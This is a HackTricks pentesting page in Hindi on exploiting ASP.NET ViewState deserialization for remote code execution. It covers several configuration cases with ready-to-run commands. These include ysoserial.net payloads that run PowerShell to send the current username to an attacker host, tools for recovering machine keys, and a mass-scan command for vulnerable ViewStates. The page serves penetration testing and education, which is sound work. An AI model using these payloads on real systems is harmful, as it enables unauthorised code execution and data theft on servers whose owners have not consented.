hacktricks/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

236 lines
25 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# \_\_VIEWSTATE का लाभ उठाना बिना रहस्यों को जाने
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग तकनीकें साझा करें।
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैक्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_धाराप्रवाह पोलिश लिखित और बोली जाने वाली आवश्यकता है_).
{% embed url="https://www.stmcyber.com/careers" %}
## ViewState क्या है
**ViewState** वह विधि है जिसका उपयोग ASP.NET फ्रेमवर्क डिफ़ॉल्ट रूप से वेब पेजों के बीच **पेज और कंट्रोल मानों को संरक्षित करने** के लिए करता है। जब पेज के लिए HTML रेंडर किया जाता है, तो पेज की वर्तमान स्थिति और पोस्टबैक के दौरान बनाए रखने की आवश्यकता वाले मानों को सीरियलाइज़ किया जाता है और बेस64-एन्कोडेड स्ट्रिंग्स में परिवर्तित करके ViewState हिडन फील्ड या फील्ड्स में आउटपुट किया जाता है।\
ViewState जानकारी के लिए निम्नलिखित गुण या गुणों का संयोजन लागू होता है:
* Base64
* EnableViewStateMac और ViewStateEncryptionMode विशेषता को false पर सेट करके परिभाषित किया जा सकता है
* Base64 + MAC (Message Authentication Code) सक्षम
* EnableViewStateMac विशेषता को true पर सेट करके परिभाषित किया जा सकता है
* Base64 + एन्क्रिप्टेड
* viewStateEncryptionMode विशेषता को true पर सेट करके परिभाषित किया जा सकता है
## **परीक्षण मामले**
![](<../../.gitbook/assets/image (309) (2).png>)
### परीक्षण मामला: 1 EnableViewStateMac=false और viewStateEncryptionMode=false
`AspNetEnforceViewStateMac` रजिस्ट्री कुंजी को शून्य में सेट करके ViewStateMAC को पूरी तरह से अक्षम करना भी संभव है:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**ViewState विशेषताओं की पहचान करना**
आप BurpSuite का उपयोग करके इस पैरामीटर के साथ एक अनुरोध को कैप्चर करके यह पहचानने का प्रयास कर सकते हैं कि ViewState MAC से सुरक्षित है या नहीं:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/1.0.png)
यदि Mac का उपयोग पैरामीटर की सुरक्षा के लिए नहीं किया जाता है, तो आप इसे [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) का उपयोग करके शोषण कर सकते हैं।
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### टेस्ट केस 1.5 टेस्ट केस 1 की तरह लेकिन ViewState कुकी सर्वर द्वारा नहीं भेजी जाती है
डेवलपर्स HTTP अनुरोध का हिस्सा बनने से **ViewState को हटा** सकते हैं (उपयोगकर्ता को यह कुकी प्राप्त नहीं होगी).\
कोई मान सकता है कि अगर **ViewState मौजूद नहीं है**, तो उनका कार्यान्वयन ViewState डिसेरियलाइजेशन के साथ उत्पन्न होने वाली किसी भी संभावित कमजोरियों से **सुरक्षित** है.\
हालांकि, ऐसा नहीं है। अगर हम अनुरोध बॉडी में **ViewState पैरामीटर जोड़ते हैं** और ysoserial का उपयोग करके बनाए गए हमारे सीरियलाइज्ड पेलोड को भेजते हैं, तो हम **कोड निष्पादन** को प्राप्त करने में सक्षम होंगे जैसा कि **केस 1** में दिखाया गया है।
### टेस्ट केस: 2 .Net < 4.5 और EnableViewStateMac=true & ViewStateEncryptionMode=false
किसी **विशिष्ट पृष्ठ** के लिए **ViewState MAC को सक्षम** करने के लिए हमें विशिष्ट aspx फाइल पर निम्नलिखित परिवर्तन करने की आवश्यकता है:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
हम इसे **web.config** फ़ाइल में नीचे दिखाए गए अनुसार सेट करके **समग्र** एप्लिकेशन के लिए भी कर सकते हैं:
```markup
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
```
चूंकि पैरामीटर MAC संरक्षित है, इसलिए हमले को सफलतापूर्वक निष्पादित करने के लिए हमें पहले उपयोग की गई कुंजी की आवश्यकता होती है। इस मामले में, BurpSuite हमें बताएगा कि पैरामीटर MAC संरक्षित है:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.0.png)
आप [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) का उपयोग करके उपयोग की गई कुंजी खोजने का प्रयास कर सकते हैं।
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
```markdown
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png)
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) एक और उपकरण है जो ज्ञात machineKeys की पहचान कर सकता है। यह Python में लिखा गया है, इसलिए Blacklist3r के विपरीत, इसमें Windows निर्भरता नहीं है। .NET viewstates के लिए, "python blacklist3r" उपयोगिता है, जो इसे उपयोग करने का सबसे तेज़ तरीका है।
इसे या तो viewstate और generator सीधे प्रदान किया जा सकता है:
```
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
```
```markdown
![](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
या, यह सीधे लक्ष्य URL से जुड़ सकता है और HTML से viewstate को निकालने का प्रयास कर सकता है:
```
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
![](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
बड़े पैमाने पर कमजोर viewstates की खोज के लिए, सबडोमेन एन्यूमरेशन के साथ मिलकर, `badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md) मॉड्यूल का उपयोग किया जा सकता है:
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
```markdown
![](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
यदि आप भाग्यशाली हैं और कुंजी मिल जाती है, तो आप [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** का उपयोग करके हमले के साथ आगे बढ़ सकते हैं।
```
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
जिन मामलों में `_VIEWSTATEGENERATOR` पैरामीटर **सर्वर द्वारा भेजा नहीं जाता** है, आपको `--generator` पैरामीटर **प्रदान करने की आवश्यकता नहीं होती** **लेकिन इन्हें**:
```bash
--apppath="/" --path="/hello.aspx"
```
### परीक्षण मामला: 3 .Net < 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true
इस मामले में Burp यह पता नहीं लगा पाता कि पैरामीटर MAC से सुरक्षित है या नहीं क्योंकि वह मानों को पहचान नहीं पाता। तब, मान संभवतः एन्क्रिप्टेड होता है और आपको **अपने पेलोड को एन्क्रिप्ट करने के लिए मशीन की की आवश्यकता होगी** ताकि आप संवेदनशीलता का शोषण कर सकें।
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.0.png)
**इस मामले में** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **मॉड्यूल विकासाधीन है...**
**.NET 4.5 से पहले**, ASP.NET **स्वीकार कर सकता है** एक **अनएन्क्रिप्टेड** \_`__VIEWSTATE`\_पैरामीटर उपयोगकर्ताओं से **यहां तक कि** अगर **`ViewStateEncryptionMode`** को _**हमेशा**_ के लिए सेट किया गया हो। ASP.NET **केवल जांचता है** **`__VIEWSTATEENCRYPTED`** पैरामीटर की **उपस्थिति** को अनुरोध में। **अगर कोई इस पैरामीटर को हटा देता है, और अनएन्क्रिप्टेड पेलोड भेजता है, तो यह अभी भी प्रोसेस किया जाएगा।**
इसलिए, अगर मशीनकी ज्ञात हो (उदाहरण के लिए, एक डायरेक्टरी ट्रैवर्सल समस्या के माध्यम से), [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) कमांड जो **मामला 2** में इस्तेमाल किया गया था, ViewState डिसेरियलाइजेशन संवेदनशीलता का उपयोग करके RCE को प्रदर्शन करने के लिए इस्तेमाल किया जा सकता है।
* ViewState डिसेरियलाइजेशन संवेदनशीलता का शोषण करने के लिए अनुरोध से `__VIEWSTATEENCRYPTED` पैरामीटर को हटा दें, अन्यथा यह Viewstate MAC सत्यापन त्रुटि वापस करेगा और शोषण विफल हो जाएगा जैसा कि चित्र में दिखाया गया है:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png)
### परीक्षण मामला: 4 .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false दोनों विशेषता को छोड़कर झूठा
हम ASP.NET फ्रेमवर्क के उपयोग को नीचे दिए गए पैरामीटर को web.config फाइल में निर्दिष्ट करके मजबूर कर सकते हैं जैसा कि नीचे दिखाया गया है।
```markup
<httpRuntime targetFramework="4.5" />
```
इसे नीचे दिए गए विकल्प को `machineKey` पैरामीटर के अंदर web.config फाइल में निर्दिष्ट करके भी किया जा सकता है।
```bash
compatibilityMode="Framework45"
```
पिछले मामले की तरह Burp यह पहचान नहीं पाता है कि अनुरोध MAC संरक्षित है या नहीं क्योंकि **मान एन्क्रिप्टेड है।** फिर, एक **मान्य पेलोड भेजने के लिए हमलावर को कुंजी की आवश्यकता होती है**
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.0.png)
आप [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) का उपयोग करके कुंजी खोजने की कोशिश कर सकते हैं:
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
IISDirPath और TargetPagePath के लिए अधिक विस्तृत विवरण के लिए [यहाँ देखें](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.1.png)
या, [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) के साथ (एक जनरेटर मान के साथ):
```
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
```
```markdown
![](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
एक वैध Machine key की पहचान हो जाने के बाद, **अगला कदम है एक serialized payload तैयार करना** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) का उपयोग करके
```
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
यदि आपके पास `__VIEWSTATEGENERATOR` का मान है, तो आप उस मान के साथ `--generator` पैरामीटर का **प्रयोग** कर सकते हैं और `--path` और `--apppath` पैरामीटर्स को **छोड़** सकते हैं।
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
यदि ViewState deserialization संवेदनशीलता का सफलतापूर्वक शोषण किया जाता है, तो एक हमलावर-नियंत्रित सर्वर को उपयोगकर्ता नाम सहित एक बाहरी बैंड अनुरोध प्राप्त होगा। [सफल शोषण का PoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
### परीक्षण मामला 6 ViewStateUserKeys का उपयोग किया जा रहा है
**ViewStateUserKey** प्रॉपर्टी का उपयोग **CSRF हमले** के खिलाफ **बचाव** के लिए किया जा सकता है। यदि ऐसी कुंजी एप्लिकेशन में परिभाषित की गई है और हम अब तक चर्चा की गई विधियों के साथ **ViewState** पेलोड उत्पन्न करने का प्रयास करते हैं, तो **पेलोड को एप्लिकेशन द्वारा संसाधित नहीं किया जाएगा**।\
आपको पेलोड को सही ढंग से बनाने के लिए एक और पैरामीटर का उपयोग करना होगा:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### सफल शोषण का परिणाम <a href="#poc" id="poc"></a>
सभी परीक्षण मामलों के लिए, यदि ViewState YSoSerial.Net पेलोड **सफलतापूर्वक** काम करता है तो सर्वर “**500 Internal server error**” के साथ प्रतिक्रिया देता है जिसमें प्रतिक्रिया सामग्री “**The state information is invalid for this page and might be corrupted**” होती है और हमें नीचे दिखाए गए चित्रों के अनुसार OOB अनुरोध प्राप्त होता है:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
वर्तमान उपयोगकर्ता नाम के साथ बाहरी बैंड अनुरोध
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.1POC-of-Seccuessful-exploitation.png)
## संदर्भ
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अशक्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_धाराप्रवाह पोलिश लिखित और बोली जाने वाली आवश्यकता है_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से नायक तक AWS हैकिंग सीखें</strong>!</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
</details>